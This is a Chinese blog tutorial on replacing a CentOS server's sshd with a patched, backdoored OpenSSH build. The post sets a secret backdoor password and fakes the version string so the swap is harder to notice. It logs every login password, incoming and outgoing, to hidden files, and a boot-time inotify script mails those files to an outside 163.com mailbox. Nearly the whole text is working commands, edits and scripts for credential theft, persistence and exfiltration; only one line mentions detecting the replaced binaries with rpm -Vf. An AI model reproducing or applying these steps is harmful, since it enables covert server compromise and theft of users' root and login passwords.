欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

ssh劫持root密码发送到邮箱(个人的)

程序员文章站 2022-04-09 12:50:50
...
简述思路:
			在服务器上安装一个打了后门补丁的sshd服务,
			当用户来连接时,直接把密码记录下来。然后  使用脚本发给我们的邮箱中。

ssh劫持root密码发送到邮箱(个人的)
一、准备环境

一台 centos6 服务器

1.查看ssh版本

[aaa@qq.com localhost ~]# ssh -v
OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013

2.确认gcc是否已安装

[aaa@qq.com localhost ~]# gcc -v
Using built-in specs.
gcc version 4.4.7 20120313 (Red Hat 4.4.7-23) (GCC) 
如果没有安装:
		yum -y install  gcc

二、上传压缩包到linux 的 /tmp 目录

[aaa@qq.com localhost tmp]# ll
  			0x06-openssh-5.9p1.patch.tar.gz
  			inotify-tools-3.13.tar.gz
 		    openssh-5.9p1.tar.gz

1、cd /tmp/ 解压

[aaa@qq.com localhost tmp]# tar zxvf openssh-5.9p1.tar.gz
[aaa@qq.com localhost tmp]#tar zxvf 0x06-openssh-5.9p1.patch.tar.gz 

2、开始打补丁

[aaa@qq.com localhost tmp]# cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1/
[aaa@qq.com localhost tmp]#cd openssh-5.9p1
[aaa@qq.com localhost openssh-5.9p1]# patch < sshbd5.9p1.diff   #打补就修改或者替换原来的文件
patching file auth.c   #认证
patching file auth-pam.c   #认证
patching file auth-passwd.c   #认证
patching file canohost.c  
patching file includes.h
patching file log.c
patching file servconf.c    #关于sshd服务端
patching file sshconnect2.c  #关于sshd连接
patching file sshlogin.c   #关于登录,把root密码记录下来
patching file version.h   #关于版本

3、修改后门密码和记录root密码的文件夹目录

 vim /tmp/openssh-5.9p1/includes.h 
   找到
改:
177  #define ILOG "/tmp/ilog"       #记录登录到本机的用户名和密码
178  #define OLOG "/tmp/olog"     #记录从本机登录到其他服务器上的用户名和密码
179  #define SECRETPW "apaajaboleh"    #你后门密码
为:
177 #define ILOG "/usr/share/ifile"
178 #define OLOG "/usr/share/ofile"
179 #define SECRETPW "myname"

原来系统的版本::

[aaa@qq.com localhost ~]# ssh -V
OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013

4、为了使用安后的版本和原系统的版本一样,修改版本号:

[aaa@qq.com localhost ~]# vim /tmp/openssh-5.9p1/version.h
改:
  3 #define SSH_VERSION     "OpenSSH_5.8p1 Debian-1ubuntu3"
  4
  5 #define SSH_PORTABLE    "p1":
  3 #define SSH_VERSION     " OpenSSH_5.3"
  4
  5 #define SSH_PORTABLE    "p1"

5、安装打了后门补丁的sshd服务

[aaa@qq.com localhost ~]# yum install -y openssl openssl-devel pam-devel zlib zlib-deve
开始安装:
[aaa@qq.com localhost ~]# cd /tmp/
[aaa@qq.com localhost tmp]# cd openssh-5.9p1
[aaa@qq.com localhost openssh-5.9p1]# ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5

参数说明:
--prefix=/usr  #指定安装到/usr 目录下
--sysconfdir=/etc/ssh  #指定sshd服务配置文件目录
--with-pam  #支持pam认证
--with-kerberos5  #支持kerberos认证

[aaa@qq.com localhost openssh-5.9p1]#  make -j 4 && make install

扩展: 通过rpm -Vf 检查命令是否被替换
[aaa@qq.com localhost openssh-5.9p1]# rpm -Vf /usr/bin/scp
S.5....T.    /usr/bin/scp
S.5....T.    /usr/bin/sftp
S.5....T.    /usr/bin/ssh
S.5....T.    /usr/bin/ssh-add
SM5...GT.    /usr/bin/ssh-agent
S.5....T.    /usr/bin/ssh-keyscan

可以看到很多ssh协议相关的命令,都被我们安装的sshd服务相关的命令替换了。这是黑客经常做的事情。

6、重启sshd服务:

[aaa@qq.com localhost openssh-5.9p1]# service sshd restart

7、测试劫持密码

测试前,发现/usr/share/ifile文件没有存在
[aaa@qq.com ~]# ls /usr/share/ifile
ls: cannot access /usr/share/ifile: No such file or directory

8.使用xshell登录zmedu63,模拟远程登录
ssh劫持root密码发送到邮箱(个人的)
9、另外我们也可以使用后门密码来登录root帐号

[aaa@qq.com localhost ~]# ssh aaa@qq.com10.0.0.20   myname
[aaa@qq.com localhost ~]# cat /usr/share/ofile    #查看记录从zmedu64登录到远程主机的密码
user:aaa@qq.com --> root:123456@10.0.0.20
user:aaa@qq.com --> root:aaa@qq.com10.0.0.20

二、自动发现邮件

     这里以163的smtp服务器为例,实现自动发送邮件有以下两种方法:
     
   方法1:通过sendmail或postfix给自己发邮件。 缺点: 需要开服务
   方法2:LINUX下通过外部SMTP服务器发邮件,就像在Linux安装一个foxmail。

1、使用mail.rc实现发邮件

[aaa@qq.com localhost ~]# vim /etc/mail.rc    #在此文件中间,随机找个位置插入以下内容: 
下面的邮箱用的是 个人网易163 邮箱进行测试

set from=aaa@qq.com163.com  smtp=smtp.163.com  
set smtp-auth-user=wangyi  smtp-auth-password=PASSWORD smtp-auth=login

set from=aaa@qq.com163.com  #指定发件人的邮箱,这里我们就写成和收件人的邮箱一样。
set smtp-auth-user=wangyi  #写自己发件人的邮箱帐号
smtp-auth-password=PASSWORD   #写自己发件人的邮箱授权码

2、配置163邮箱,开启pop3/smtp服务
登录mail.163.com网站
点:设置->POP3/SMTP/IMAP->开启pop3服务(勾选开启pop3服务后,smtp也会自动开启)
ssh劫持root密码发送到邮箱(个人的)
点击开启POP3/SMTP/IMAP服务
ssh劫持root密码发送到邮箱(个人的)
勾选POP3/SMTP服务,随后弹出提醒相关信息,点击确定
ssh劫持root密码发送到邮箱(个人的)
勾选开启,随后需要设置客户端授权,需要手机以短信形式获取验证码,获取验证后,输入验证码并点击确定
ssh劫持root密码发送到邮箱(个人的)
设置授权密码,此密码用于第三方邮件客户端使用,既在linux主机实验中发送邮件也是使用该密码
ssh劫持root密码发送到邮箱(个人的)
设置第三方邮件客户端密码完成后,随后出现设置授权提示,点击确定即可完成设置
3、测试邮件发送

[aaa@qq.com localhost ~]# mail -s "kime nei da lei" aaa@qq.com163.com < /usr/share/ifile

查看:

ssh劫持root密码发送到邮箱(个人的)
4、编写shell脚本自动发邮件,邮件的主题是服务器的IP地址

[aaa@qq.com localhost ~]# vim /bin/zipmail
#!/bin/bash
ip=`ifconfig |grep inet| sed -n '1p'|awk '{print $2}'|awk -F ':' '{print $2}'`
mail -s $ip aaa@qq.com163.com < /usr/share/ifile

[aaa@qq.com localhost ~]# chmod +x /bin/zipmail 

5、测试

[aaa@qq.com localhost ~]# /bin/zipmail
发现也可以收到邮件,说明成功。

四、实现当用户修改密码后,自动发邮件
1、安装inotify

[aaa@qq.com localhost ~]# cd /tmp/
[aaa@qq.com localhost inotify-tools-3.13]# tar -zxvf inotify-tools-3.13.tar.gz
[aaa@qq.com localhost tmp]# cd inotify-tools-3.13
[aaa@qq.com localhost inotify-tools-3.13]#./configure    #检查安装环境
[aaa@qq.com localhost inotify-tools-3.13]#make -j 4   #make编译,将源代码编译成二进制,可执行的文件   # -j  4 使用4个CPU一起编译。
[aaa@qq.com localhost inotify-tools-3.13]# make  install   #安装

2、编写触发式自动发邮件脚本

[aaa@qq.com localhost ~]# vim /bin/zipmail
/usr/local/bin/inotifywait -mrq -e create,move,delete,modify /usr/share/ifile |while read a b c
do
ip=`ifconfig |grep inet| sed -n '1p'|awk '{print $2}'|awk -F ':' '{print $2}'`
mail -s $ip aaa@qq.com163.com < /usr/share/ifile
done

4、设置开机启动zipmail脚本

[aaa@qq.com localhost ~]# vim /etc/rc.local  #在此文件的最后插入以下内容。
/bin/zipmail &

5、测试

[aaa@qq.com localhost ~]# bash /etc/rc.local #可以运行

6、排查

[aaa@qq.com localhost ~]# ps -aux |grep inoti
Warning: bad syntax, perhaps a bogus '-'? See /usr/share/doc/procps-3.2.8/FAQ
root      41545  0.0  0.0   6232   536 pts/1    S    12:20   0:00 /usr/local/bin/inotifywait -mrq -e create,move,delete,modify /usr/share/ifile
root      41549  0.0  0.0 103316   840 pts/1    S+   12:21   0:00 grep --color=auto inoti

以上既是 ssh劫持root密码发送到我的邮箱